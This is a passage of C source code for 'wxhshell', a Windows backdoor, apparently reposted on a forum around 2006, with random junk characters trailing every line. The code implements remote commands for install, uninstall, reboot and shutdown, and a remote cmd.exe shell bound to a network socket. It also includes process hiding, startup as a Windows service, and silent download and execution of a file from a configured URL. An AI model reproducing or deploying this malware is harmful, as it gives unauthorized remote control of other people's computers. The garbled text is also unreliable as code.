    break; 3^\?>C7  
  } hD_5~d  
  // 安装 JY2/YDJ  
  case 'i': { }Kj Ju;  
    if(Install()) W-z90k4Z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,#k}CNu  
    else q]eFd6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0&'cu>  
    break; M@~~f   
    } _%'L@[ H  
  // 卸载 eyT>wma0  
  case 'r': { PFS;/   
    if(Uninstall()) V06CCy8n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ke3+%uj o  
    else 9c6czirwR^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); skIiJ'db  
    break; bo@,4xw  
    } 6 Wpxp\  
  // 显示 wxhshell 所在路径 WR/o @$/  
  case 'p': { T- |9o|~z  
    char svExeFile[MAX_PATH]; gB>imr#e&  
    strcpy(svExeFile,"\n\r"); sno`=+|U]  
      strcat(svExeFile,ExeFile); ~)q g  
        send(wsh,svExeFile,strlen(svExeFile),0); \ ]   
    break; 4M}|/?<Br  
    } +VCo$o  
  // 重启 r{\BbUnf)  
  case 'b': { TN35CaSmq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F{k$Atb?g/  
    if(Boot(REBOOT)) =&A!C"qK4[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)#hrFp  
    else { weAn&h|  
    closesocket(wsh); *u>lx!g  
    ExitThread(0); 7tSJniB  
    } /O|:{LQ  
    break; :dP~.ZY7  
    } mC i[Ps  
  // 关机 .u1X+P7  
  case 'd': { ]~-*hOcQ4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w6T[hZ 9  
    if(Boot(SHUTDOWN)) &{%MjKJ._  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ia629gi5s  
    else { `)R?nV b   
    closesocket(wsh); AF^T~?t  
    ExitThread(0); RU2c*q$^X  
    } 9W!8gCs  
    break; Hjs }  
    } QyPg |#T2>  
  // 获取shell X8/Tl \c  
  case 's': { ?Jt$a;  
    CmdShell(wsh); t5.`! 3EO  
    closesocket(wsh); X rF3kz!44  
    ExitThread(0); A1^Ga5 B>  
    break; VFv9Q2/.  
  } M`GP^Ta  
  // 退出 5Go0}'*%  
  case 'x': { Q48+O?&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qmZ2d!)o  
    CloseIt(wsh); o+nG3kRD  
    break; xXX/]x>  
    } A\K,_&x1Z  
  // 离开 )^4hQ3BS  
  case 'q': { ^q ;Cx7T_p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FigR1/3o'6  
    closesocket(wsh); ^ [k0k(_  
    WSACleanup(); 3{"byfO#%  
    exit(1); 7K&}C;+  
    break; /aZE,IeEz  
        } Sw)i1S9  
  } ncv7t|ZN  
  } v*SAI]{#~  
Y\xUT>(J7  
  // 提示信息 TyF{tuF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2i\Q@h  
} s5l3V2k  
  } hd B |#t  
#,L~w  
  return; 7^$)VBQ/  
} '0|o`qoLzA  
#'@i lk/.  
// shell模块句柄  1,,|MW  
int CmdShell(SOCKET sock) ak;6z]f8[  
{ n@!wp/J,  
STARTUPINFO si; %KtU1A(["  
ZeroMemory(&si,sizeof(si)); !}y1CA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hSB?@I4s<\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yi(1^'Bi  
PROCESS_INFORMATION ProcessInfo; brh=NAzt  
char cmdline[]="cmd"; u$%A#L[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kneuV8+(5  
  return 0; q$[n`w-  
} ebC)H  
KOey8tB)1  
// 自身启动模式 %-+j  
int StartFromService(void) 6;o3sf@Tf  
{ %_MEfuL  
typedef struct vJ"i.:Gf4  
{ !\-WEQrp\  
  DWORD ExitStatus; 5t\HJ`C1Z  
  DWORD PebBaseAddress; u%u&F^y  
  DWORD AffinityMask; _;hf<|c  
  DWORD BasePriority; OfTfNhpK  
  ULONG UniqueProcessId; 5RF4]$zT  
  ULONG InheritedFromUniqueProcessId; ]f8L:=c  
}   PROCESS_BASIC_INFORMATION; lCJ6Ur;  
oFCgu{\kt  
PROCNTQSIP NtQueryInformationProcess; _X4!xbP  
b9~A-Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3`*Kav>"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k$N0lR4:p  
48O~Jx,  
  HANDLE             hProcess; /c`^iPb  
  PROCESS_BASIC_INFORMATION pbi; 1l5J P|x  
d"E^SBO&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0*8TS7.3  
  if(NULL == hInst ) return 0; C!+I>J{4f  
qmglb:"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #(KDjnP[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HeLG?6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p@~ic#X  
irbw'^;y  
  if (!NtQueryInformationProcess) return 0; A#rh@8h+  
, sjh^-;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); thc <xxRP  
  if(!hProcess) return 0; _Mk7U@j+9  
+D&Pp0xe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [Wi 1|]X"G  
IXpc,l `  
  CloseHandle(hProcess); jq-l5})h  
eF~dQ4RZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xwi\  
if(hProcess==NULL) return 0; VwyVEZt  
yVX8e I  
HMODULE hMod; D:"{g|nW}  
char procName[255]; GIyF81KR 3  
unsigned long cbNeeded; ),(V6@Z?  
/(hUfYm0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iEm ?  
;"kaF!  
  CloseHandle(hProcess); <lE?,jl  
XJ1=m   
if(strstr(procName,"services")) return 1; // 以服务启动 LzML%J62  
|kJ%`j(7R  
  return 0; // 注册表启动 )Ry<a$Q3  
} M f~}/h  
7f3O  
// 主模块 6gH{ R$7L=  
int StartWxhshell(LPSTR lpCmdLine) cl@g  
{ k^\pU\J  
  SOCKET wsl; k&/OU:7Y  
BOOL val=TRUE; -0Cnp/Yj@  
  int port=0; ~q+hV+fa>  
  struct sockaddr_in door; +s++7<C  
S >yLqPp  
  if(wscfg.ws_autoins) Install(); _n;;][]S  
bQ'8SCe  
port=atoi(lpCmdLine); 58 bCUh#uw  
3djC;*,9,  
if(port<=0) port=wscfg.ws_port; xtfBfA  
i,I B!x  
  WSADATA data; H/+B%2Zj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z^<L(/rg9"  
Djq!P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3^?ZG^V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 30>3 !Xqa  
  door.sin_family = AF_INET; *`_{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r [:   
  door.sin_port = htons(port); F@ Swe  
(wRgus  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6$\jAd|  
closesocket(wsl); _8,()t'"  
return 1; |`TgX@,#9  
} En{`@JsM  
U;N:j8  
  if(listen(wsl,2) == INVALID_SOCKET) { 8[vc?+>&  
closesocket(wsl); @$9'@")  
return 1; F$BbYf2i  
} V#REjsf,t-  
  Wxhshell(wsl); #@HF<'H}mu  
  WSACleanup(); $+p?Y)h .  
LbEM^ D  
return 0; UT0){%2@  
[NMVoBvG  
} u .f= te  
_g%TSumvq<  
// 以NT服务方式启动 B"yFS7Rrj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )R`xR,H  
{ [AMAa]^  
DWORD   status = 0; I$q]. B  
  DWORD   specificError = 0xfffffff; vM:cWat  
a=cvCf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ar*^ ;/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |L2SFB?d=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @+3kb.P%7  
  serviceStatus.dwWin32ExitCode     = 0; .p0Clr!  
  serviceStatus.dwServiceSpecificExitCode = 0; HY)-/  
  serviceStatus.dwCheckPoint       = 0; v ~QHMg  
  serviceStatus.dwWaitHint       = 0; Xtt ? ]  
wO?{?+I`q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "&/-N[is  
  if (hServiceStatusHandle==0) return; c\a_VRN>r  
'5&s=M_  
status = GetLastError(); 8J$|NYv_b  
  if (status!=NO_ERROR) }PTV] q%  
{ `x%'jPP1 ^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hn#1%p6t  
    serviceStatus.dwCheckPoint       = 0; q`-;AG|xF  
    serviceStatus.dwWaitHint       = 0;  (x/k.&  
    serviceStatus.dwWin32ExitCode     = status; X 1 57$  
    serviceStatus.dwServiceSpecificExitCode = specificError; okbQ<{9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p w8 s8?  
    return; PDs@?nz,  
  } X}+>!%W!}  
QQWadVQo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a~'a  
  serviceStatus.dwCheckPoint       = 0; (=7Cs  
  serviceStatus.dwWaitHint       = 0; 9$2/MT't  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 a80 LAK  
} th;{V%:LW  
*98$dQR$  
// 处理NT服务事件,比如:启动、停止 6I@h9uIsze  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n{6G"t:^l  
{ !pD*p)`s  
switch(fdwControl) BD(Z5+EU1  
{ L 4!{h|  
case SERVICE_CONTROL_STOP: g$b<1:8  
  serviceStatus.dwWin32ExitCode = 0; H$y-8-&)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0`^&9nR  
  serviceStatus.dwCheckPoint   = 0; xlQBe-Wg  
  serviceStatus.dwWaitHint     = 0; 4$P0:  
  { }GeSu|m(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y1]n^  
  } rqY`8Ry2M  
  return; z11O F  
case SERVICE_CONTROL_PAUSE: r-:Uz\gM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iof-7{+3_  
  break; q FAT]{{  
case SERVICE_CONTROL_CONTINUE: N;\'N ne  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AvfNwE  
  break; Ytl4kaYS  
case SERVICE_CONTROL_INTERROGATE: EOCN&_Z;  
  break; Uu`9 "  
}; _H5o'>=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HSc~*Q  
} r-Pkfy(  
H '  
// 标准应用程序主函数 3f,hw5R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /pT =0=  
{ B]Thn  
*{L)dW+:  
// 获取操作系统版本 H!$o$}A  
OsIsNt=GetOsVer(); #w' kV#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Al&  
 iKT[=c  
  // 从命令行安装 T\D}kQM  
  if(strpbrk(lpCmdLine,"iI")) Install(); neLAEHV  
>U[j]V]  
  // 下载执行文件 %^ !,t:d  
if(wscfg.ws_downexe) { [5SD_dN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Z'NXha  
  WinExec(wscfg.ws_filenam,SW_HIDE); / G7vwC  
} B!?%O  
c9&xe"v  
if(!OsIsNt) { oC0qG[yp9S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]?!mS[X  
HideProc(); a ?)NC  
StartWxhshell(lpCmdLine); AJF#Aw `o  
} 2Eu`u!jhx  
else uC(V  
  if(StartFromService()) %-1O.Q|f  
  // 以服务方式启动 Y2~nBb  
  StartServiceCtrlDispatcher(DispatchTable); gcl5jB5)>  
else @X#F3;  
  // 普通方式启动 }f6HYU  
  StartWxhshell(lpCmdLine); oYH^_V  
8ap%?  
return 0; 7_inJ$  
}
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只看该作者 1 发表于: 2006-10-10
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